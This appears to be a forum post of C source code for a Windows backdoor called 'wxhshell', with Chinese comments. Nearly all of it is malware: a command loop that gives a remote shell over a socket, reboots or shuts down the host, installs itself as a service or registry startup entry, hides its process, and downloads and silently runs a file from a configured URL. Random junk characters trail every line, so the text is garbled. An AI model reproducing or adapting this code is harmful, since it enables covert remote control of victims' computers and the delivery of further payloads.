    switch(cmd[0]) { /}#@uC  
  F4 :#okt  
  // 帮助 FR? \H"'x  
  case '?': { _jD\kg#LY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Zp <^|=D  
    break; xjg(}w  
  } "P@oO,.  
  // 安装 }\/ 3B_X6N  
  case 'i': { KVZ-T1K  
    if(Install()) ?Y\hC0a60  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?S~j2 J]  
    else kr>H,%3~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pF}WMt  
    break; zJX _EO  
    } db0]D\  
  // 卸载 ])H[>.?K  
  case 'r': { XPsRa[08WK  
    if(Uninstall()) .|z8WF*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vs@H>97,G  
    else J0O wzO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xty)*$C>  
    break; w4(g]9^Q  
    } I/ V`@*/+  
  // 显示 wxhshell 所在路径 ylwh_&>2  
  case 'p': { |++\"g  
    char svExeFile[MAX_PATH]; #Zt(g(T  
    strcpy(svExeFile,"\n\r"); k{-#2Qz  
      strcat(svExeFile,ExeFile); QeNN*@ ='i  
        send(wsh,svExeFile,strlen(svExeFile),0); k*uLjU  
    break; 6Dz N.fz  
    } )HJ#|JpxC  
  // 重启 \S[I:fw#&  
  case 'b': { {bD:OF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,)%$Zxng  
    if(Boot(REBOOT)) 5!*@gn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~3,k8C"pRq  
    else { o%sx(g=q6  
    closesocket(wsh); Z,}c)  
    ExitThread(0); Dwg_#GSr  
    } _fE$KaP  
    break; zyPc<\HoK  
    } gjDxgNpa  
  // 关机 cPbAR'  
  case 'd': { W}aCU~  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A8U\/GP  
    if(Boot(SHUTDOWN)) 1Zt>andBF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g=L80$1  
    else { E) z=85;_p  
    closesocket(wsh); 35/K9l5  
    ExitThread(0); !@4 i:,p@  
    } L5 Q^cY]p  
    break; g`r4f%O  
    } :jr`}Z%;y  
  // 获取shell z[+Sb;  
  case 's': { 6'45c1e   
    CmdShell(wsh); pX?/=T@ Bw  
    closesocket(wsh); #$ooV1E  
    ExitThread(0); Q%!Dk0-)  
    break; kY^ k*-v  
  } (d>}Fp  
  // 退出 p-XO4Pc 6  
  case 'x': { Pmdf:?B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bZWdd6  
    CloseIt(wsh); V_/.]zQA  
    break; rt'pc\|O&  
    } X+kgx!u'y  
  // 离开 :JIJ!Xn)  
  case 'q': { @UQ421Z`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qT~a`ou:  
    closesocket(wsh); D`R~d;U~  
    WSACleanup(); \>[k0<  
    exit(1); vEw8<<cgg  
    break; JA~q}C7A7o  
        } 7#(0GZN9h%  
  } o[)*Y`xq<w  
  } 0Ua&_D"  
Z rv:uEl  
  // 提示信息 xauMF~*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K5!OvqzG  
} L%jIU<?Z7  
  } 9,[A fI  
\,ne7G21j  
  return; D)tL}X$  
} +U)4V}S)  
RT|1M"?$  
// shell模块句柄 >t{-_4Yv?  
int CmdShell(SOCKET sock) ow{J;vFy\  
{ %n 6NVi_[  
STARTUPINFO si; Eq|5PE^7  
ZeroMemory(&si,sizeof(si)); C8x9 Jrc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \/64Xv3L0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q%LjOPE V  
PROCESS_INFORMATION ProcessInfo; C1>zwU_zo  
char cmdline[]="cmd"; ""A6n{4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6-z(34&N  
  return 0; ~ #7@;C<nt  
} #Vu;R5GZ}  
/>N#PF  
// 自身启动模式 =R<92v  
int StartFromService(void) zz!jt A  
{ y^z c @f  
typedef struct N0%q 66]1  
{ _xmQGX!|  
  DWORD ExitStatus; \d*ts(/a*  
  DWORD PebBaseAddress; IEfYg(c0U  
  DWORD AffinityMask; Xmi~fie  
  DWORD BasePriority; e{9~m  
  ULONG UniqueProcessId; % m"Qg<  
  ULONG InheritedFromUniqueProcessId; xZ6x`BET-  
}   PROCESS_BASIC_INFORMATION; :dpwr9)  
@v#,SF{  
PROCNTQSIP NtQueryInformationProcess; li,rPUCt  
)E}@h%d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k>\v]&|T`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qZ4)) X  
?T.=y m  
  HANDLE             hProcess; I$MlIz$l v  
  PROCESS_BASIC_INFORMATION pbi; a#k7 aOT0  
c& I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e`:^7$  
  if(NULL == hInst ) return 0; <nb%$2r1  
0ckmHv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b kc*it  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); X&kp1Ih<^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1= 7ASS9  
M>[ A  
  if (!NtQueryInformationProcess) return 0; W+/_0GgQ3  
gO)":!_n W  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y SB=n d_  
  if(!hProcess) return 0; d^J)Mhju  
PZ`11#bbm  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EZN!3y| m  
g8l6bh$}  
  CloseHandle(hProcess); H%XF~tF:  
l? U!rFRq`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Sb> &m  
if(hProcess==NULL) return 0; pB#I_?(  
.izq}q*P   
HMODULE hMod; #\ `kg#&  
char procName[255]; ZX64kk+  
unsigned long cbNeeded; )UM^#<-  
Mn/@?K?y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'A^q)hpax  
[61*/=gWe  
  CloseHandle(hProcess); K, I  
k@un}}0r  
if(strstr(procName,"services")) return 1; // 以服务启动 w#[cGaIB  
3fp&iz  
  return 0; // 注册表启动 n=bdV(?4  
} ]d-.Mw,'  
vsZ?cd  
// 主模块 }{VOyPG  
int StartWxhshell(LPSTR lpCmdLine) Z.u 1Dz  
{ jS~Pdz  
  SOCKET wsl; jeJgDAUv  
BOOL val=TRUE; `d$@1  
  int port=0; -YAtM-VL  
  struct sockaddr_in door; |oke)w=gn  
QxdC[t$Lp  
  if(wscfg.ws_autoins) Install(); B ~N3k  
mHHlm<?]  
port=atoi(lpCmdLine); )t"-#$,@  
IlB8~{p_  
if(port<=0) port=wscfg.ws_port; L/r_MtN  
&=BzsBh  
  WSADATA data; ?q9] H5\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (nt`8 0  
I](a 5i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   |:&6eDlR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @anjjC5a~  
  door.sin_family = AF_INET; O"+0 b|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); GaG>0 x   
  door.sin_port = htons(port); 8>,w8(Nt  
`H6~<9r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3>-h- cpMX  
closesocket(wsl); #$- E5R;x  
return 1; - ~|Gwr"  
} %&yPl{  
)\=xPfs  
  if(listen(wsl,2) == INVALID_SOCKET) { w+R7NFq  
closesocket(wsl); 5C9b*]-#  
return 1; e5>'H!)  
} V7Cnu:0_  
  Wxhshell(wsl); "H).2{3(x  
  WSACleanup(); fDf[:A,8  
DJL.P6-W  
return 0; $VvgzjrH  
&]#L'D!"  
} PnA{@n\  
JRo/ HY+  
// 以NT服务方式启动 v/q-{ 1   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,;6V=ok  
{ /oHCV0!0  
DWORD   status = 0; [jzsB:;XB&  
  DWORD   specificError = 0xfffffff; #mw !_]  
;na%*G`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; < ,*\t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; > 0MP[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z|uvrFa  
  serviceStatus.dwWin32ExitCode     = 0; 3TF_$bd{  
  serviceStatus.dwServiceSpecificExitCode = 0; { uaDpRt  
  serviceStatus.dwCheckPoint       = 0; GDL/5m#  
  serviceStatus.dwWaitHint       = 0; () _RLA  
dA~:L`A|X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iVI&  
  if (hServiceStatusHandle==0) return; %S^hqC  
05 q760I+  
status = GetLastError(); BsIF3sS#9  
  if (status!=NO_ERROR) [~ s+,OO9)  
{ QDg5B6>$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @@Ybg6.+*  
    serviceStatus.dwCheckPoint       = 0; ORs :S$Nt$  
    serviceStatus.dwWaitHint       = 0; A _zCSRF,  
    serviceStatus.dwWin32ExitCode     = status; 2!J#XzR0W  
    serviceStatus.dwServiceSpecificExitCode = specificError; II=`=H{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1@}F8&EZ  
    return; <|}Z6Ti  
  } /GIGE##1F  
THp_ dTD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n[iwi   
  serviceStatus.dwCheckPoint       = 0; Swhz\/u9  
  serviceStatus.dwWaitHint       = 0; t<p#u=jOa  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?ZlXh51  
} l#KcmOz  
Y,)(Q  
// 处理NT服务事件,比如:启动、停止 .[O{,r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q"XDxa'7"  
{ cmG27\cRO  
switch(fdwControl) L/tpT?$fi  
{ ]!B0= XP  
case SERVICE_CONTROL_STOP: sN[}B{+  
  serviceStatus.dwWin32ExitCode = 0; Dt: Q$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6VGY4j}:(  
  serviceStatus.dwCheckPoint   = 0; "[_j8,t`  
  serviceStatus.dwWaitHint     = 0; JY,$B-l  
  { !#0)`4O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L( 6b2{"  
  } k(ouE|B  
  return; ^+(5[z  
case SERVICE_CONTROL_PAUSE: E*'YxI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t&U9Z$LS  
  break; >G`p T#  
case SERVICE_CONTROL_CONTINUE: \[G'cE  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2!%)_<  
  break; 5IU!BQU  
case SERVICE_CONTROL_INTERROGATE: YIe1AF}   
  break; B!'K20"gF  
}; #0AyC.\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N#u'SGTG  
} +<E#_)}`D6  
S m(*<H  
// 标准应用程序主函数 @gP*z6Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D.Ke  
{ ,6+j oKe-  
!S?Fz]  
// 获取操作系统版本  2s}S9  
OsIsNt=GetOsVer(); dS1HA>c)O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); UBd+,]"f  
Pe:)zt0  
  // 从命令行安装 k+_>`Gre}  
  if(strpbrk(lpCmdLine,"iI")) Install(); eU"yF >6'  
ed'[_T}T3t  
  // 下载执行文件 j*3;G+  
if(wscfg.ws_downexe) { Gamn,c9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U5"u h} 3  
  WinExec(wscfg.ws_filenam,SW_HIDE); X;LYGJ{Xk  
} %M x|"ff  
9~V'Wev  
if(!OsIsNt) { uzp\V 39  
// 如果时win9x,隐藏进程并且设置为注册表启动 XL*M#Jx  
HideProc(); NDRD PD  
StartWxhshell(lpCmdLine); SGKAx<U  
} M7BpOmK'  
else jr6 0;oK+  
  if(StartFromService()) z$&B7?  
  // 以服务方式启动 (^yaAy#4  
  StartServiceCtrlDispatcher(DispatchTable); ;Tbo \Wp9  
else mAlG }<  
  // 普通方式启动 bqn(5)%{  
  StartWxhshell(lpCmdLine); ,Ee5}#dI  
-aT-<+?s  
return 0; FH}?QebSR  
}
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只看该作者 1 发表于: 2006-10-10
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